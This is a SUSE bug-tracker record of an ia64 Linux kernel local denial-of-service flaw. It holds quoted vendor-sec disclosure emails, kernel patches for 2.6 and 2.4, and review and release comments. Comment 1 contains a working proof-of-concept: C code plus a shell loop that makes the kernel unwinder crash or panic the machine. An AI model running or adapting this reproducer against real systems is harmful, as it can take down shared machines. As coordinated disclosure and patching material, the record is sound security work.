Bug 65112 (CVE-2004-0447) - VUL-0: CVE-2004-0447: kernel: ia64 local DoS (CAN-2004-0447)
Summary: VUL-0: CVE-2004-0447: kernel: ia64 local DoS (CAN-2004-0447)
Status: RESOLVED FIXED
Alias: CVE-2004-0447
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: All Linux
: P3 - Medium : Normal
Target Milestone: ---
Assignee: Marcus Meissner
QA Contact: Security Team bot
URL:
Whiteboard: CVE-2004-0447: CVSS v2 Base Score: 7....
Keywords:
Depends on:
Blocks:
 
Reported: 2005-01-24 18:49 UTC by Thomas Biege
Modified: 2021-11-03 14:01 UTC (History)
2 users (show)

See Also:
Found By: Other
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments
ia64-unwind-user.patch (969 bytes, patch)
2005-02-21 13:27 UTC, Marcus Meissner
Details | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description Thomas Biege 2005-01-24 18:49:12 UTC
Hi, 
this was posted to vendor-sec. (not public) 
 
CAN-2004-0447 
 
To: vendor-sec List <vendor-sec@lst.de> 
From: Mike O'Connor <mjo@dojo.mi.org> 
Reply-To: Mike O'Connor <mjo@dojo.mi.org> 
Subject: [vendor-sec] another ia64 local DoS 
Errors-To: vendor-sec-admin@lst.de 
Date: Fri, 21 Jan 2005 11:27:06 -0500 (EST) 
 
Another day, another ia64 local DoS... 
This is superficially similar to what I flagged way back in: 
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0447 
in terms of how it can panic, but the cause is different.  We 
will be assigning a CVE to this. 
 
This isn't public yet.  We're awaiting feedback from the ia64 
crowd below on whether this is the final and correct fix, along 
2.4 backpaches before we sort out a date.  Just wanted to make 
folks who might be having an ia64 build in the pipe that we 
"have a situation"... 
 
========================================================================== 
 
Date: Fri, 21 Jan 2005 17:39:13 +1100 
From: Keith Owens <kaos@sgi.com> 
To: davidm@hpl.hp.com 
Cc: tony.luck@intel.com, steiner@sgi.com, bjorn_helgaas@hp.com 
Subject: Local DoS on IA64, 2.4 or 2.6 kernels 
 
Sanity check unw_unwind_to_user 
 
Signed-off-by: Keith Owens <kaos@sgi.com> 
 
Index: linux/arch/ia64/kernel/unwind.c 
=================================================================== 
--- linux.orig/arch/ia64/kernel/unwind.c        2005-01-20 
11:47:00.000000000 +1100 
+++ linux/arch/ia64/kernel/unwind.c     2005-01-21 17:09:10.000000000 
+1100 
@@ -1962,7 +1962,7 @@ EXPORT_SYMBOL(unw_unwind); 
 int 
 unw_unwind_to_user (struct unw_frame_info *info) 
 { 
-       unsigned long ip; 
+       unsigned long ip, sp; 
 
        while (unw_unwind(info) >= 0) { 
                if (unw_get_rp(info, &ip) < 0) { 
@@ -1971,6 +1971,9 @@ unw_unwind_to_user (struct unw_frame_inf 
                                   __FUNCTION__, ip); 
                        return -1; 
                } 
+               unw_get_sp(info, &sp); 
+               if (sp >= (unsigned long)info->task + IA64_STK_OFFSET) 
+                       break; 
                if (ip < FIXADDR_USER_END) 
                        return 0; 
        } 
 
--- 
 
This is a local DoS against any IA64 kernel, both 2.4 and 2.6.  Hence 
the private mail and the understated patch description above.  David, 
if this is OK then please follow up with vendor-sec.  I will not be 
publishing this patch for a couple of weeks. 
 
2.4 needs a similar patch which I will do once this one has been 
reviewed. 
 
If a user space program fudges a function pointer and branches to a 
kernel address then unw_unwind_to_user goes at least one cycle too far. 
That results in ia64_sync_user_rbs() passing garbage to ia64_peek(). 
Sometimes the garbage ends up with laddr and bspstore being in 
completely different regions, which really breaks the slot 
calculations.  I have seen oops in ia64_peek, I have even seen MCA in 
other functions and processes (I hate async MCA!).
Comment 1 Thomas Biege 2005-01-24 18:49:13 UTC
<!-- SBZ_reproduce  -->
Sample exploit, from Jack Steiner. 
 
gcc tt.c -o tt 
PATH=.:$PATH 
./tt1 
 
==> tt.c <== 
#include <stdio.h> 
 
int count = 10; 
unsigned long fp[2]; 
void (*func) (void); 
 
long 
fa(long i, long j, long k, long l, long m, long n, long o, long p, long q, long r) 
{ 
        if (i <= 0) { 
                (*func) (); 
                return 0; 
        } 
        return fa(--i, j, k, l, m, n, o, p, q, r); 
} 
 
void 
test() 
{ 
        volatile long x = 0; 
        while (1) 
                x = fa(count, x, x, x, x, x, x, x, x, x); 
} 
 
int 
main(int argc, char **argv) 
{ 
        volatile long x = 0; 
 
        fp[0] = 0xbf989374bc6a7ef0UL; 
        fp[1] = 0xbf8ffd62fab49c9c; 
        func = &fp; 
        if (argc > 1) 
                count = atoi(argv[1]); 
        printf("count: %d\n", count); 
        x = fa(count, x, x, x, x, x, x, x, x, x); 
        return 0; 
} 
 
 
 
==> tt1 <== 
#!/bin/bash 
ulimit -c unlimited 
N=0 
while [ $N -lt 10000 ] ; do 
        tt $N 
        N=`expr $N + 1` 
done
Comment 2 Andreas Gruenbacher 2005-01-24 21:23:21 UTC
Forgot to CC the affected managers.
Comment 3 Gerald Pfeifer 2005-01-24 22:15:59 UTC
This coming from Keith Owens and Jack Steiner, the patch should be a good one.

I'm Cc:ing Andreas who's probably best suited a double check once we have a
final patch candidate.
Comment 4 Thomas Biege 2005-01-25 18:27:45 UTC
To: vendor-sec List <vendor-sec@lst.de> 
From: Mike O'Connor <mjo@dojo.mi.org> 
Reply-To: Mike O'Connor <mjo@dojo.mi.org> 
Subject: [vendor-sec] Re: another ia64 local DoS 
Errors-To: vendor-sec-admin@lst.de 
Date: Mon, 24 Jan 2005 12:28:01 -0500 (EST) 
 
:Another day, another ia64 local DoS... 
:This is superficially similar to what I flagged way back in: 
:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0447 
:in terms of how it can panic, but the cause is different.  We 
:will be assigning a CVE to this. 
 
Once we get a pool of 2005 #s from Mitre, Alex or I will let the list 
know what the CVE for this one is. 
 
:This isn't public yet.  We're awaiting feedback from the ia64 
:crowd below on whether this is the final and correct fix, along 
:2.4 backpaches before we sort out a date.  Just wanted to make 
:folks who might be having an ia64 build in the pipe that we 
:"have a situation"... 
 
It turns out that the fix I sent out initially: 
 
https://www.lst.de/cgi-bin/mailman/private/vendor-sec/2005-January/010373.html 
 
will be the fix that the community uses, and it has been "quietly" 
checked into the public ia64 tree already.  A 2.4 backport is below. 
 
As for publicizing this, we're fairly flexible and I suspect the ia64 
folks are equally flexible, as long as it gets out in some reasonable 
timeframe.  Let's iron out a date here, then confirm it with the ia64 
folks, ok?  I suggest February 16th, simply as a starting point.  How 
does that sound? 
 
========================================================================= 
 
Index: 2.4.29-coredump-error/arch/ia64/kernel/unwind.c 
--- 2.4.29-coredump-error.orig/arch/ia64/kernel/unwind.c        2004-08-08 
10:10 
:41.000000000 +1000 
+++ 2.4.29-coredump-error/arch/ia64/kernel/unwind.c     2005-01-22 
11:13:30.6924 
92992 +1100 
@@ -1916,7 +1916,7 @@ EXPORT_SYMBOL(unw_unwind); 
 int 
 unw_unwind_to_user (struct unw_frame_info *info) 
 { 
-       unsigned long ip; 
+       unsigned long ip, sp; 
 
        while (unw_unwind(info) >= 0) { 
                if (unw_get_rp(info, &ip) < 0) { 
@@ -1925,6 +1925,9 @@ unw_unwind_to_user (struct unw_frame_inf 
                                   __FUNCTION__, ip); 
                        return -1; 
                } 
+               unw_get_sp(info, &sp); 
+               if (sp >= (unsigned long)info->task + IA64_STK_OFFSET) 
+                       break; 
                /* 
                 * We don't have unwind info for the gate page, so we consider 
that part 
                 * of user-space for the purpose of unwinding. 
 
 
 
 
 
-- 
 
Comment 5 Thomas Biege 2005-01-26 19:32:28 UTC
"SGI assigns CVE CAN-2005-0135 to this ia64 local DoS (in unwind.c)." 
Comment 6 Marcus Meissner 2005-02-21 13:27:31 UTC
Created attachment 28642 [details]
ia64-unwind-user.patch

2.6 patch from bitkeeper.
Comment 7 Marcus Meissner 2005-03-08 17:29:57 UTC
remove tpms. 
 
andreas, can you check if this patch is good? 
Comment 8 Andreas Schwab 2005-03-08 17:35:49 UTC
I wouldn't sign it but if Keith and Tony do then it's probably good.   
Comment 9 Marcus Meissner 2005-03-16 09:28:32 UTC
surface for QA 
Comment 10 Marcus Meissner 2005-03-16 09:30:03 UTC
Hubert, can you apply please? 
Comment 11 Hubert Mantel 2005-03-16 11:46:49 UTC
Fix is in all trees now.
Comment 12 Marcus Meissner 2005-03-16 12:00:21 UTC
reassign for tracking 
Comment 13 Marcus Meissner 2005-03-29 15:20:38 UTC
updates released. 
Comment 14 Thomas Biege 2009-10-13 20:11:51 UTC
CVE-2004-0447: CVSS v2 Base Score: 7.2 (AV:L/AC:L/Au:N/C:C/I:C/A:C)